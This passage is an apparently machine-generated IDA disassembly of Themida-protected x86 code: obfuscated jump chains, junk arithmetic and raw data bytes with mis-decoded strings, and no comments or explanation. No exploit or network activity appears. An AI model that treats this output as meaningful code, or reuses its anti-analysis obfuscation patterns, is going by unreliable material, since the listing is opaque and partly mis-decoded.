		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55293A:				; CODE XREF: Themida_:00555233j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_552FD0
; ---------------------------------------------------------------------------


loc_552950:				; CODE XREF: Themida_:00556E76j
		push	ebx
		jmp	loc_557EF7
; ---------------------------------------------------------------------------


loc_552956:				; CODE XREF: Themida_:00551F00j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 23BF134Bh
		jmp	loc_552ED2
; ---------------------------------------------------------------------------


loc_552969:				; CODE XREF: Themida_:00552113j
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	390Ch
		jmp	loc_5562B1
; ---------------------------------------------------------------------------
		dw 0EB29h
		dd 0FFEA9FE9h, 0AEE580FFh, 0CDFEC5FEh, 0C580D5F6h, 10ED8030h
		dd 7001E9h
		db 0
; ---------------------------------------------------------------------------


loc_552999:				; CODE XREF: Themida_:005562DAj
		mov	ebx, 797E1CF5h
		push	ebx
		mov	ebx, 6EC32BCh
		jmp	loc_556C6B
; ---------------------------------------------------------------------------
a1Sqn		db '1Þ[éï',0
		db 0
; ---------------------------------------------------------------------------


loc_5529B1:				; CODE XREF: Themida_:00556CDAj
		pop	bx
		push	edx
		mov	dl, 0FFh
		add	ch, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5530C6
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C4h, 241C3124h, 5C241C33h, 0B60FC330h,	8734FFC0h
		dd 0B8505552h, 0E1D1D0Eh, 8158C589h, 9A63C0CDh,	0C1DDF746h
		dd 0DDF705EDh, 98BB534Dh, 0E9555A7Fh, 91E5h, 4EC815Ah
		dd 0E9000000h, 6874h, 2D04C483h, 4, 8B240487h, 3C892424h
		dd 6FAFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552A1E:				; CODE XREF: Themida_:0055B200j
		not	esi
		xor	esi, 981D6AFh
		sub	ecx, 41B80C5Ch
		jmp	loc_553954
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0E3Ah, 0E9241C89h, 3796h, 0E9DF2966h, 0FFFFF436h, 0D531EA31h
		dd 0FFE2B5E9h, 0D5F75FFFh, 8106E5C1h, 0FFB7BCEDh, 6D22E96Ah
		dd 0D62D0000h, 294D4D79h, 79D605D8h, 0EC814D4Dh, 4, 0BD242C89h
		dd 7197755Dh, 3112E9h, 48F5B00h, 4BE95C24h, 2800002Bh
		dd 2C5B66D8h, 349FE960h, 24D30000h, 0F4E99C24h,	5DFFFFDCh
		dd 31240C33h, 0C33240Ch, 24248B24h, 66F9F766h, 6655B568h
		dd 66241489h, 0D4E99C50h, 81FFFFDCh, 85B3BEAh, 35EA8155h
		dd 2180294Eh, 0E9515AD0h, 0FFFFEF66h, 7F70E95Bh, 0EC810000h
		dd 4, 0BB241C89h, 1EAC07DDh, 6693CB81h,	0E95126FCh, 5458h
		dd 0D3F6C3FEh, 0CBE95266h, 8100003Ah, 0B42B8BC7h, 0DAEF8157h
		dd 14FD14Ch, 0DAC781D7h, 814FD14Ch, 0B42B8BEFh,	24148B57h
		dd 3304C483h, 9CE9243Ch
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B27:				; CODE XREF: Themida_:00559D92j
		mov	edi, eax
		pop	eax
		inc	edi
		push	ebx
		mov	ebx, 4BA83E68h
		and	edi, ebx
		pop	ebx
		shl	edi, 7
		neg	edi
		add	edi, 13724878h
		jmp	loc_55B663
; ---------------------------------------------------------------------------
		dd 8B243C33h, 89662424h, 64E9240Ch
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B53:				; CODE XREF: Themida_:0055B005j
		push	ebp
		mov	ebp, 58A3540Ah
		add	ebp, 0A75CABFAh
		jmp	loc_55BFC1
; ---------------------------------------------------------------------------


loc_552B64:				; CODE XREF: Themida_:0055509Dj
		add	esp, 4
		jmp	loc_551DCB
; ---------------------------------------------------------------------------
		dd 26E9F820h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B73:				; CODE XREF: Themida_:0055AAB5j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 14154B7h
		or	esi, 22666937h
		shr	esi, 3
		jmp	loc_552447
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 5BD88828h, 0C8FE3D24h, 0F5E9C0FEh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552BA3:				; CODE XREF: Themida_:0055C08Ej
		not	ecx
		jmp	loc_55677C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0BBBE5604h, 0C1536A2Fh, 0C68104EEh, 7104577Ch, 5FBECE81h
		dd 0E9577707h, 0A17h, 2BEh, 0B2BB5300h,	0C1428F14h, 0F6E908E3h
		db 12h,	2 dup(0)
byte_552BDB	db 0FFh			; DATA XREF: Themida_:005506D8o
a4YrsP		db '4$YRé^',0
		dd 48B6600h, 257F6824h,	0C890000h, 55595424h, 3960BE56h
		dd 0C9BD70CCh, 107EF04h, 0F5815EF5h, 78BB3E2Dh,	2C8BE901h
		dd 4C48324h, 2BD55h, 0ECE90000h, 5E000052h, 46A2EB81h
		dd 14E95F91h, 5EFFFFEAh, 3B19BD55h, 0ED81399Ah,	4EC74BB3h
		dd 0ED81DDF7h, 6D2C11F9h, 81FFC583h, 5B3C56EDh,	41BE561Ch
		dd 0C13CCD50h, 0D6F704EEh, 3C4E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552C56:				; CODE XREF: Themida_:00553648j
		mov	esp, [esp]
		jmp	loc_55AAFE
; ---------------------------------------------------------------------------
		dw 3EBFh
		dd 2922C739h, 50535FFEh, 0FFDC58E9h, 0C0E952FFh, 0FE000064h
		dd 2EAC0C2h, 0C061EA80h, 0C28003E2h, 1CE1E9CAh,	0F6520000h
		dd 0E9012454h, 10F1h, 0C681C601h, 578501C0h, 297BBF57h
		dd 0FAE93EC2h, 0F600005Dh, 0CBC780DFh, 0C25E9h,	1BEA8100h
		dd 2944FF65h, 1BC281FAh, 5F44FF65h, 4801C781h, 0D70156DDh
		dd 4801B951h, 0CF2956DDh, 24148B59h, 9B0AE9h, 2414F700h
		dd 4EC815Eh, 89000000h,	0C872434h, 0F7F98724h, 8B5751D7h
		dd 0C481240Ch, 4, 240C875Fh, 0BEE94E5Eh, 54000049h, 167BE9h
		dd 0E9DF2900h, 325Ch, 5C240C87h, 601CE9h
		db 0
byte_552D15	db 66h,	8Bh, 4		; DATA XREF: Themida_:005505E0o
aHvp		db '$h‚P',0
		align 2
		dw 0C89h
		dd 81E18924h, 4C1h, 23E95200h, 5000058h, 12A905E5h, 0A23BE56h
		dd 5350585Fh, 8081E9h
		db 0
; ---------------------------------------------------------------------------


loc_552D41:				; CODE XREF: Themida_:00556777j
		sub	ecx, 67510197h
		add	ecx, edi
		jmp	loc_554C8F
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 0E924048Bh, 7955h, 4EC835Ch,	0E9241489h, 9CC5h, 4EC81h
		dd 14890000h, 4BA24h, 0D3010000h, 8324148Bh, 0C38304C4h
		dd 241C3304h, 33241C31h, 248B241Ch, 1025E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D8E:				; CODE XREF: Themida_:00550BF5j
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 192B736Ah
		shr	eax, 7
		neg	eax
		add	eax, 55038263h
		mov	ebp, eax
		pop	eax
		jmp	loc_55C3E5
; ---------------------------------------------------------------------------


loc_552DAC:				; CODE XREF: Themida_:00557A1Dj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7D404A67h
		jmp	loc_55661C
; ---------------------------------------------------------------------------
		db 29h
		dd 242C8BE8h, 0FFE50DE9h, 1C5709FFh, 0E924148Bh, 9999h
		dd 508734FFh, 3FCB8h, 0EBBA5200h, 8104996Fh, 0AF411BCAh
		dd 7F82E975h, 315D0000h, 7A0FE9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552DF6:				; CODE XREF: Themida_:005516E1j
		add	ebx, 2777406Ch
		sub	ebx, ebp
		sub	ebx, 2777406Ch
		pop	ebp
		jmp	loc_557D63
; ---------------------------------------------------------------------------
		dw 0D268h
		dd 8900005Eh, 19B5240Ch, 0FFF3C6E9h, 4C183FFh, 0E9240C87h
		dd 99AEh, 8124348Bh, 4C4h, 54E7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E32:				; CODE XREF: Themida_:005519ACj
		add	ebp, 4
		jmp	loc_5552E8
; ---------------------------------------------------------------------------


loc_552E3D:				; CODE XREF: Themida_:00558B34j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55B359
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E9D5B324h, 281Dh, 26F0BB53h, 0CB812F7Ah, 49C0754Bh
		dd 139AEB81h, 0DA0165BFh, 2ABEE95Bh, 1CE90000h,	81FFFFD9h
		dd 4ECh, 24148900h, 0AA739DBAh,	0F7E2D141h, 0F9CA81DAh
		dd 814FEC0Ch, 2510FCF2h, 5AD33118h, 57F9BA52h, 8142399Ch
		dd 242586E2h, 5EAC13Ch,	1930F281h, 0E2D1510Bh, 54B7F281h
		dd 0D32903FBh, 5BDD215Ah, 9000C581h, 7BE9FBBFh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552EC7:				; CODE XREF: Themida_:00559B3Dj
		add	edx, 4
		jmp	loc_552F3D
; ---------------------------------------------------------------------------


loc_552ED2:				; CODE XREF: Themida_:00552964j
		sub	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		pop	edi
		or	edx, eax
		jmp	loc_554D35
; ---------------------------------------------------------------------------
word_552EE2	dw 8B66h		; DATA XREF: Themida_:0055053Co
		dd 8953240Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 8924248Bh
		dd 0E589242Ch, 0A1968h,	24048900h, 0A65BC5B8h, 7CCFE97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F12:				; CODE XREF: Themida_:00559FF8j
		push	edx
		mov	edx, 6F1C635Fh
		or	edx, 5E005D51h
		shr	edx, 2
		push	edi
		mov	edi, 1AD0672Eh
		dec	edi
		sub	edi, 0B5BF1993h
		xor	edx, edi
		pop	edi
		and	ecx, edx
		jmp	loc_5526C8
; ---------------------------------------------------------------------------


loc_552F38:				; CODE XREF: Themida_:005581DEj
		jmp	loc_550793
; ---------------------------------------------------------------------------


loc_552F3D:				; CODE XREF: Themida_:00552ECDj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	esi, edi
		pop	edi
		sub	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4


loc_552F52:				; CODE XREF: Themida_:00558CCDj
		push	22C3h
		mov	[esp], edi
		push	ebx
		push	edi
		jmp	loc_5569CC
; ---------------------------------------------------------------------------
		db 66h,	53h, 66h
		dd 660002BBh, 2245C01h,	44AFE9h, 0EABD00h, 0D5314572h
		dd 7175E9h, 5EF20100h, 0B8868h,	24148900h, 42474FFh, 24048F5Ah
		dd 9837E9h, 5DEF0100h, 78ABE9h,	2821B600h, 241C8BFEh, 5E08950h
		dd 4, 8704C083h, 23E92404h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552FB7:				; CODE XREF: Themida_:00555C15j
		push	3402h
		mov	[esp], edi
		jmp	loc_555EE7
; ---------------------------------------------------------------------------
		dd 8704E983h, 0E95C240Ch, 98CCh
; ---------------------------------------------------------------------------


loc_552FD0:				; CODE XREF: Themida_:0055294Bj
		mov	dh, 47h
		jmp	loc_5513AC
; ---------------------------------------------------------------------------
		db 1
		dd 0C2815FFAh, 2, 95D1E9h, 0C7815A00h, 4, 58E9E9h
		db 0
byte_552FF1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005506ACo
		dd 0D259669Dh, 0E99C2414h, 5201h, 6FE9EA01h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553007:				; CODE XREF: Themida_:00550DFCj
		mov	ax, [esp]
		jmp	loc_556703
; ---------------------------------------------------------------------------


loc_553010:				; CODE XREF: Themida_:0055867Cj
		mov	edx, 4
		jmp	loc_55B78F
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 3BE65CBFh, 4C05C681h, 0F531C3D0h, 77E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55302D:				; CODE XREF: Themida_:005561D1j
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	59Dh
		mov	[esp], esi
		mov	esi, 20h
		mov	eax, esi
		jmp	loc_5555EF
; ---------------------------------------------------------------------------


loc_55304E:				; CODE XREF: Themida_:00553EADj
		push	edi
		pop	eax
		mov	edi, [esp]
		jmp	loc_550CC8
; ---------------------------------------------------------------------------
		dd 56E9FB29h, 52FFFFDAh, 4BAh, 0E6B6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55306A:				; CODE XREF: Themida_:0055AC21j
		mov	[esp], edx
		jmp	loc_55BF2C
; ---------------------------------------------------------------------------
		dw 6A0Dh
		dd 2D7A3608h, 0F9509A3Dh, 0EFE9C529h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553083:				; CODE XREF: Themida_:00550D8Fj
		sub	esp, 4
		mov	[esp], ebp
		push	5A9Eh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55C38B
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0C281DA87h, 63622B5Ch, 0B78C281h, 0F2812A89h, 0D4522E37h
		dd 148BD031h, 97DEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5530C6:				; CODE XREF: Themida_:005529BEj
		sub	ch, 0AAh
		xor	al, ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_554208
; ---------------------------------------------------------------------------
		db 81h
		dd 9F5135EEh, 8774E904h, 0B2520000h, 20EBE9C4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5530EA:				; CODE XREF: Themida_:0055598Fj
		mov	edx, [esp]
		add	esp, 4
		add	al, bl
		push	edx
		mov	dl, 0E1h
		shl	dl, 6
		shr	dl, 8
		push	ebx
		jmp	loc_55C294
; ---------------------------------------------------------------------------


loc_553104:				; CODE XREF: Themida_:00550CDEj
		push	esi
		mov	esi, 55F96C04h
		sub	esi, 55F96C00h
		jmp	loc_558982
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 51h
		dd 0A43AE5B9h, 2E1C12Dh, 1D9FF181h, 0CA314614h,	777EE959h
		db 2 dup(0)
word_55312E	dw 66ACh		; DATA XREF: Themida_:00550634o
		dd 662CEA68h, 51241489h, 0B154B753h, 9DC1803Eh,	0E980F900h
		dd 0E1C05B9Dh, 9331E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55314E:				; CODE XREF: Themida_:0055A425j
		mov	esi, esp
		jmp	loc_556F29
; ---------------------------------------------------------------------------
byte_553155	db 0ACh, 51h, 53h	; DATA XREF: Themida_:005506C8o
		dd 0DAB1C8B3h, 1C8BD930h, 4C48124h, 0
aSnc		db 'Èé­C',0
		align 2
		dw 0FF57h
		dd 0E9042474h, 1D0Ch, 8B2434FFh, 0C483243Ch, 8E95604h
		dd 5C000049h, 98B26B2Ch, 458C230h, 2CD0286Ch, 24148B6Ch
		dd 4C481h, 90680000h, 89000008h, 7DB22414h, 3C006866h
		dd 6135E9h, 4C28100h, 83000000h, 148704C2h, 48B5C24h, 4C48324h
		dd 0FFEAABE9h
		db 0FFh
byte_5531C9	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0055062Co
		dd 0FFFFD5C3h
; ---------------------------------------------------------------------------


loc_5531D0:				; CODE XREF: Themida_:0055AE76j
		add	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 6E8B1EB7h
		add	ebp, 3ED56EFAh
		add	ebp, 0A78485DFh
		and	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 331774CCh
		jmp	loc_557727
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFD59AE9h, 4EBC1FFh, 89B2E9h
		db 0
byte_553201	db 0ACh, 68h, 0E9h	; DATA XREF: Themida_:005506B8o
		dd 8900001Ch, 18B3241Ch, 5350CBFEh, 0FC8801B7h,	43ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_553219:				; CODE XREF: Themida_:00559C50j
		sub	ecx, 9095872h
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_550CF3
; ---------------------------------------------------------------------------


loc_55322B:				; CODE XREF: Themida_:0055AD87j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
dword_553230	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFD553h
					; DATA XREF: Themida_:005504B0o
dword_553240	dd 5166AD66h, 76C8B966h, 66C80166h, 0B9665159h,	0F7662B21h
					; DATA XREF: Themida_:005505ECo
		dd 0DA89E9D1h, 0B70FFFFFh, 0B16866C0h, 4896666h, 0D529E924h
		dd 4788FFFFh, 148B5828h, 4C48124h, 0E9000000h, 0FFFFD517h
; ---------------------------------------------------------------------------


loc_55327C:				; CODE XREF: Themida_:0055871Cj
		mov	edi, 70EC550Bh
		sub	edi, ecx
		pop	ecx
		sub	edi, 79764D83h
		jmp	loc_5559F5
; ---------------------------------------------------------------------------


loc_55328F:				; CODE XREF: Themida_:0055C604j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5547BE
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 1E80685Ch, 98E90000h, 2C00002Ah, 58C7001Eh, 8058F780h
		dd 0C78076EFh, 0ED40E927h, 0C481FFFFh, 4, 5B2434FFh, 0E904C483h
		dd 0FFFFD4C3h
; ---------------------------------------------------------------------------


loc_5532D0:				; CODE XREF: Themida_:0055C09Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 18C40635h
		add	esi, 3D342950h
		neg	esi
		xor	esi, 0AA07D07Fh
		add	eax, esi
		jmp	loc_55B3DE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 50C2BF57h, 0B8502CC4h, 37C357BCh, 8158C721h,	0F42E22CFh
		dd 62EF8151h, 811F0B16h, 0D3796FC5h, 81FD0139h,	0D3796FEDh
		dd 0C5815F39h, 7FF470E3h, 0D7F7FD87h, 8FE9FD31h, 68FFFFE9h
		dd 3C41h, 0FFDF43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553339:				; CODE XREF: Themida_:0055BA96j
		push	edi
		jmp	loc_555F81
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 0F4E92424h, 55000001h, 9E40E2BDh,	45D5F70Eh
		dd 3550C581h, 0CD816B6Ah, 0F3B535Fh, 79BFB850h,	0F5E93AE4h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55336B:				; CODE XREF: Themida_:00554E3Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_553FA3
; ---------------------------------------------------------------------------
aXpsU		db 'XPéßU',0
		align 4
		dd 0C107E0C1h, 0F7E905E0h, 31FFFFEFh, 0C8015DE9h, 0D9ADE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5533B2:				; CODE XREF: Themida_:005519C6j
		sub	ebp, 38417682h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mul	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A592
; ---------------------------------------------------------------------------


loc_5533D4:				; CODE XREF: Themida_:005537A3j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55776A
; ---------------------------------------------------------------------------
		db 80h
		dd 0D83012EBh, 83241C8Bh, 0C38004C4h, 0E83DE95Fh, 665CFFFFh
		dd 5324048Bh, 2F8BE9h, 93685300h, 8900007Ch, 0C6B22414h
		dd 0FE5AD788h, 5A9BE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553412:				; CODE XREF: Themida_:00553DAEj
		pop	esp
		add	eax, ecx
		jmp	loc_556D59
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 27AE3CB4h, 0FFF802E9h, 2434FFFFh, 5A2434FFh,	213A68h
		dd 24148900h, 0C281E289h, 4, 0DA4E9h, 74FF5500h, 34FF0424h
		dd 0A0E95D24h, 81000009h, 4ECh,	0F5DEE900h, 0E95CFFFFh
		dd 4365h, 5104C483h, 5612D0B9h,	678E92Ch, 3C890000h, 4BF24h
		dd 0BE560000h, 5E284500h, 8104E6C1h, 0DC2B49CEh, 0BBCE8101h
		dd 8149C970h, 0D111AAF6h, 5EF129EFh, 59C9E9h, 8BCF0100h
		dd 35E9240Ch
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5534A3:				; CODE XREF: Themida_:00559CADj
		push	edx
		jmp	loc_559392
; ---------------------------------------------------------------------------


loc_5534A9:				; CODE XREF: Themida_:0055B7DFj
		xor	ebp, 5913C693h
		push	632Ah
		mov	[esp], ebp
		pop	ecx
		pop	ebp
		jmp	loc_55B3E9
; ---------------------------------------------------------------------------


loc_5534BE:				; CODE XREF: Themida_:0055B8F9j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55BC19
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C2424h, 0FFFFD2BFh, 81240C8Bh, 4C4h
		dd 5DE82900h, 0EF05D829h, 6806EB32h, 8C6h, 51241C89h, 7C0DDBB9h
		dd 2469BB02h, 0E955329Eh, 3761h
; ---------------------------------------------------------------------------


loc_553500:				; CODE XREF: Themida_:0055762Bj
		pop	esi
		push	eax
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_55972B
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aUs		db 'Uéß&',0
		align 2


loc_55351E:				; CODE XREF: Themida_:0055A9EFj
		pop	edi
		mov	eax, ebx
		pop	ebx
		add	edi, eax
		jmp	loc_551520
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 2Eh
		dd 0E97A49FCh, 0FFFFEC47h
; ---------------------------------------------------------------------------


loc_553534:				; CODE XREF: Themida_:00555F63j
		add	edi, 4
		jmp	loc_5523F0
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 26DEh, 0D968F568h, 2BE95F04h, 5AFFFFD3h
		dd 0B60FC330h, 87048FC0h, 0FFD232E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553561:				; CODE XREF: Themida_:0055A59Fj
		add	edx, 1B8D3E15h
		inc	edx
		sub	edx, 4A6D0DC3h
		shl	edx, 2
		push	ecx
		mov	ecx, 394B986Ch
		add	edx, ecx
		jmp	loc_55AE7B
; ---------------------------------------------------------------------------


loc_55357E:				; CODE XREF: Themida_:0055C61Cj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_551252
; ---------------------------------------------------------------------------


loc_553587:				; CODE XREF: Themida_:0055A36Ej
		push	esp
		pop	ebx
		jmp	loc_5546B0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 39E92434h, 29FFFFD3h, 0CB295DEBh, 0E04C381h,	34FF1E2Ch
		dd 240C8B24h, 4C481h, 0C4810000h, 4, 68h, 24048100h, 2EA914FFh
		dd 0E9241C29h, 8B36h, 685BD829h, 1399h,	52240C89h, 0D7483968h
		dd 0FBE95A29h, 0BFFFFFE6h, 6B36863Bh, 0E95FFE31h, 7B81h
; ---------------------------------------------------------------------------


loc_5535EC:				; CODE XREF: Themida_:00555E8Ej
		add	esp, 4
		push	4F7Eh
		mov	[esp], ecx
		push	ebp
		jmp	loc_55B7CC
; ---------------------------------------------------------------------------
		dd 6104C483h, 0D8E9C39Dh, 29000086h, 73E959CAh,	81000026h
		dd 0BFF9A1C2h, 6D70E974h, 0EBBF0000h, 4F482B08h, 0FC44EF81h
		dd 0FB312D13h, 0DF3815Fh, 8173CA7Ch, 3A12B1EBh,	52C30138h
		dd 69A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_553641:				; CODE XREF: Themida_:005546B8j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552C56
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0C6810000h, 544D361Dh, 0EE81EE01h, 544D361Dh, 5350555Dh
		dd 2BBh, 5BD88900h, 50DE9h, 68575500h, 490FC3h,	4BDF875Fh
		dd 0E947DF87h, 43D2h
; ---------------------------------------------------------------------------


loc_553684:				; CODE XREF: Themida_:0055AB7Cj
		pop	esp
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_550A54
; ---------------------------------------------------------------------------
word_5536A2	dw 34FFh		; DATA XREF: Themida_:005505E8o
		dd 156E924h, 0D0010000h, 8124148Bh, 4C4h, 2DD82900h, 45FC4520h
		dd 0E4FCD05h, 5AB95161h, 50C4B5Bh, 762E50FEh, 0BB53C829h
		dd 17D04038h, 3867F381h, 0D3F74D40h, 0C95EC381h, 0D829D0BEh
		dd 240C8B5Bh, 4EC81h, 4890000h,	0E9E08924h, 70F5h, 4847EE81h
		dd 0BD557F5Ch, 7B9A18D0h, 815DEE21h, 274632E6h,	0B9514E16h
		dd 740DC0AAh, 0E959CE01h, 0AACh, 2B546859h, 4890000h, 5E08924h
		dd 4, 405h, 62A1E900h, 0E3890000h, 4C381h, 0C3830000h
		dd 241C8704h, 5FFB295Ch, 0EC81C329h, 4,	0BF243C89h, 0C12039Dh
		dd 4EE9FB01h, 0F7000003h, 4E5C1D5h, 0D3FFC581h,	94E97A4Eh
		dd 59FFFFE6h, 348BF229h, 0E0895024h, 405h, 40500h, 4870000h
		dd 0D245E924h, 1C89FFFFh, 0B93BB24h, 12E94FDEh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553797:				; CODE XREF: Themida_:00555618j
		xor	ebx, ecx
		jmp	loc_555C03
; ---------------------------------------------------------------------------


loc_55379E:				; CODE XREF: Themida_:00555A91j
		add	eax, 4
		jmp	loc_5533D4
; ---------------------------------------------------------------------------


loc_5537A8:				; CODE XREF: Themida_:00556F5Cj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5558B7
; ---------------------------------------------------------------------------
aTSzp		db 'T]é§p',0
		align 4


loc_5537BC:				; CODE XREF: Themida_:00559ED0j
		push	ebp
		mov	ebp, 65A203DBh
		sub	ebp, 78831902h
		add	ebp, 6F403F89h
		dec	ebp
		shl	ebp, 8
		not	ebp
		xor	ebp, 0A0D59EFBh
		mov	esi, ebp
		jmp	loc_5522C1
; ---------------------------------------------------------------------------
byte_5537E1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005504CCo
		dd 54066824h, 34890000h, 2F9FE924h, 1C8B0000h, 4C48124h
		dd 0E9000000h, 41AEh, 592434FFh, 4C481h, 0E9520000h, 0FFFFEAE0h
		dd 89240C89h, 4C181E1h,	56000000h, 69DA68h, 240C8900h
		dd 53E6E956h, 98680000h, 0E9551551h, 3335h, 2BBh, 5BDF0100h
		dd 0FFF92DE9h, 2434FFFFh, 4C48159h, 68000000h, 37BFh, 53240C89h
		dd 2BBh, 5BD98900h, 31E5EF81h, 0CF014003h, 31E5C781h, 0C8B4003h
		dd 915BE924h, 4050000h,	83000000h, 48704C0h, 4F5FE924h
		dd 0FFBE0000h, 1678703h, 432BE9F0h, 8F540000h, 0B8502404h
		dd 4, 4244401h,	1730E958h, 0ECE90000h, 5EFFFFCEh, 840FC90Bh
		dd 2896h, 4A7E68h, 5AE95400h, 81FFFFFCh, 4C6h, 2C68100h
		dd 87000000h, 248B2434h, 0E507E924h, 0FA88FFFFh, 5AD0285Bh
		dd 0D704C828h, 13E9562Ch, 28FFFFE7h, 1C8B66D8h,	2C48324h
		dd 907BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5538F1:				; CODE XREF: Themida_:005590EFj
		mov	edi, 51965B94h
		add	ebx, edi
		jmp	loc_557281
; ---------------------------------------------------------------------------
		db 66h,	52h, 0B2h
		dd 66D028A4h, 4F0285Ah,	98E95AA4h, 5800001Dh, 8B24048Fh
		dd 0EAE92424h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55391B:				; CODE XREF: Themida_:00552204j
		push	73D0h
		mov	[esp], eax
		jmp	loc_55C07B
; ---------------------------------------------------------------------------
		dd 0E952D088h, 0ED9h, 26099205h, 8BC58971h, 0D1E92404h
		dd 6800004Ch, 301Dh, 0E9241489h, 0FFFFED1Fh, 0E9240C89h
		dd 4C69h
; ---------------------------------------------------------------------------


loc_553954:				; CODE XREF: Themida_:00552A2Cj
		add	ecx, esi
		jmp	loc_556231
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704C6h, 0C6815C24h, 4, 2BF57h
		dd 0FE010000h, 74FF565Fh, 348B0424h, 0E2895224h, 4C281h
		dd 0C2830000h, 24148704h, 24048F5Ch, 0D324248Bh, 0E99C242Ch
